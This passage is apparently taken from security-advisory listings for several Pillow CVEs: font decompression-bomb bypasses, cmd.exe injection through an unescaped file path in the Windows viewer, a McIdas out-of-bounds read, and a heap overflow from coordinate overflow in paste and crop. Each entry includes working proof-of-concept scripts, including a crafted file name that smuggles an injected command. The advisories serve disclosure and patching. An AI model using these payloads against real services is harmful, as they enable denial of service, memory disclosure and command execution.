16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ``` **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold ##### Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") ##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[*] BDF file size : {len(bdf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated") print(f" Image.open() path would have raised DecompressionBombError") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError ``` **Amplified attack (multiple glyphs):** A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection. ##### Impact - **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - **Confidentiality**: None - **Integrity**: None - Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc](https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-45hq-cxwh-f6vc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path BIT-pillow-2026-55798 / [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) / [GHSA-4x4j-2g7c-83w6](https://github.com/advisories/GHSA-4x4j-2g7c-83w6) / PYSEC-2026-2257 <details> <summary>More information</summary> #### Details ##### 1. Summary `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a file path into an f-string without escaping. The result is passed to `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow injection of arbitrary `cmd.exe` commands. The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter. The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this protection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`. --- ##### 2. Vulnerable Code **File:** `src/PIL/ImageShow.py`, lines 133–150 ```python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, **options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, **options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, **options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ``` **Contrast with macOS — SAFE (line 164–168):** ```python class MacViewer(Viewer): def get_command(self, file: str, **options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ``` **Cross-platform summary:** | Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes | | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes | | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No | `shlex.quote` is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- ##### 3. Proof of Concept A full working PoC is at `poc_pillow_injection.py`. Key parts: **Part A — Injection string construction (static, no execution):** ```python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) ##### Output: ##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ##### ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ##### ├─ & echo PWNED → INJECTED COMMAND ##### └─ & echo "" && ping ... → continues ``` **Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):** ```python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") ##### Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') ##### Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) ##### Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES ##### → CONFIRMED: arbitrary command injection via get_command() ``` --- #### Severity - CVSS Score: 4.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6) - [https://nvd.nist.gov/vuln/detail/CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) - [https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a](https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a) - [https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4](https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4) - [https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f](https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-4x4j-2g7c-83w6) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()` BIT-pillow-2026-54060 / [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) / [GHSA-5x94-69rx-g8h2](https://github.com/advisories/GHSA-5x94-69rx-g8h2) / PYSEC-2026-2254 <details> <summary>More information</summary> #### Details ##### Description `PIL/FontFile.py` `FontFile.compile()` assembles per-glyph images into a single combined bitmap using `Image.new("1", (xsize, ysize))` without calling `Image._decompression_bomb_check()`. This is the base-class method shared by both `BdfFontFile` and `PcfFontFile`, and it is triggered whenever a loaded font is converted to an `ImageFont` or saved. Neither `BdfFontFile.BdfFontFile(fp)` nor `PcfFontFile.PcfFontFile(fp)` is registered with `Image.register_open()`, so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. **Vulnerable code (`PIL/FontFile.py` lines ~64–92):** ```python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines * h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ``` **"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:** | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | **179,200,000** | | DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = **16,776,960** | | **Total pixels** | 800 × 16,776,960 = **13,421,568,000** | | **Ratio vs. DecompressionBombError threshold** | **75×** | | Memory (mode "1", 1 bit/pixel) | **~1.6 GB** | ##### Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) ##### Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") ##### Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] * font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS * 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ``` **Expected output:** ``` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ``` **Verified live on Pillow 12.2.0 — compile() succeeds with no exception.** **Real-world trigger using BDF font file:** ```python from PIL import BdfFontFile import io ##### Load a crafted BDF font with 256 glyphs each claiming height=65535 ##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) ##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ``` **Attack scenarios:** | Scenario | Effect | |---|---| | Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | ##### Impact - **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - **Confidentiality:** None - **Integrity:** None **Affected call paths:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()` Neither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2](https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5x94-69rx-g8h2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) BIT-pillow-2026-54058 / [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) / [GHSA-62p4-gmf7-7g93](https://github.com/advisories/GHSA-62p4-gmf7-7g93) / PYSEC-2026-3493 <details> <summary>More information</summary> #### Details ##### Summary When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**. The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`, `getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). ##### Complete Code Trace **Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation. ```python ##### src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ``` **Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`. ```python ##### src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) ) ``` **Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`. ```c /* src/map.c:65-140 */ if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); /* "L" */ if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */ if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize * 2; else stride = xsize * 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */ PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL; } size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */ if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */ PyErr_SetString(PyExc_ValueError, "buffer is not large enough"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); /* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */ /* setup file pointers -- NO check that stride >= im->linesize */ if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */ } } else { ... } ``` `im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes "claimed". Nothing reconciles the two. **Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap. ```c /* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */ ``` ##### Chain Summary ``` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ``` ##### Proof of Concept See attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip) ##### Impact on a Parent Application Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: - **Information disclosure (High):** the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. - **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS. ##### Suggested fix Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` . #### Severity - CVSS Score: 8.3 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93](https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) - [https://github.com/python-pillow/Pillow/pull/9719](https://github.com/python-pillow/Pillow/pull/9719) - [https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d](https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-62p4-gmf7-7g93) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow BIT-pillow-2026-59199 / [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) / [GHSA-6r8x-57c9-28j4](https://github.com/advisories/GHSA-6r8x-57c9-28j4) / PYSEC-2026-3451 <details> <summary>More information</summary> #### Details ##### Summary Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as `RGBA`, this becomes a controlled backward heap underwrite: for a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes starting `4 * W` bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row. Minimal public API trigger: ```python from PIL import Image INT_MIN = -(1 << 31) src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1)) ``` The same root cause is also reachable through `Image.crop()` and `Image.alpha_composite()`. No private API, ctypes, custom Python object, or malformed image file is needed. This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with `double free or corruption (out)` ##### Details `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native `ImagingCore.paste()` method: ```python self.im.paste(source, box) ``` `src/_imaging.c:_paste()` parses the four Python coordinates into signed `int` values and calls `ImagingPaste()`: ```c int x0, y0, x1, y1; PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1); ``` `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using signed `int` arithmetic: ```c xsize = dx1 - dx0; ysize = dy1 - dy0; if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; } ``` With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`. That matches the 2-pixel source image, so the size check passes. The later `dx0 + xsize` clip check wraps around and does not reject the out-of-bounds destination. For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by `pixelsize`: ```c dx *= pixelsize; xsize *= pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize); ``` For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation. The primitive scales with the attacker-controlled source width: ```text source width = W box = ((1 << 31) - W, 0, INT_MIN, 1) C destination offset = -4 * W C memcpy size = 4 * W write range = [row_start - 4W, row_start) ``` Examples for `RGBA`: ```text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row ``` Pillow's image creation guard currently limits `xsize` to roughly `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is `2,147,483,640` bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state. Two other documented APIs reach the same sink: ```python ##### Image.crop() path left = INT_MIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1)) ##### Image.alpha_composite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alpha_composite(over, dest=(left, 0)) ``` `Image.crop()` keeps `right - left` small, so the Python decompression-bomb check allows it. `src/libImaging/Crop.c` then computes wrapped paste coordinates and calls `ImagingPaste()`. ##### PoC The following standalone script exercises all three public API paths. Save it as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`. ```python #!/usr/bin/env python3 import argparse import sys from PIL import Image INT_MIN = -(1 << 31) def rgba_pattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out) def main(): parser = argparse.ArgumentParser() parser.add_argument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.add_argument("-w", "--width", type=int, default=2) args = parser.parse_args() width = args.width src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width)) if args.variant == "paste": box = ((1 << 31) - width, 0, INT_MIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 * width}, write_size={4 * width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex()) elif args.variant == "crop": left = INT_MIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex()) else: dest = (INT_MIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alpha_composite(src, dest=dest) print("alpha_composite returned; first row:", dst.tobytes().hex()) sys.stdout.flush() if __name__ == "__main__": main() ``` Run against an ASAN build: ```bash env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py paste env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py crop env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \ python b021_poc.py alpha ``` Observed ASAN signature for the direct `Image.paste()` path: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 _paste /out/src/src/_imaging.c:1461 0x... is located 8 bytes before 32-byte region ``` On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal `Image.paste()` trigger returns from `paste()` and then the process aborts during cleanup with: ```text double free or corruption (out) Aborted (core dumped) ``` Observed ASAN signature for the `Image.crop()` and `Image.alpha_composite()` paths: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 _crop /out/src/src/_imaging.c:1090 ``` ##### Suggested fix Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints. For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons: ```c int64_t xsize64 = (int64_t)dx1 - dx0; int64_t ysize64 = (int64_t)dy1 - 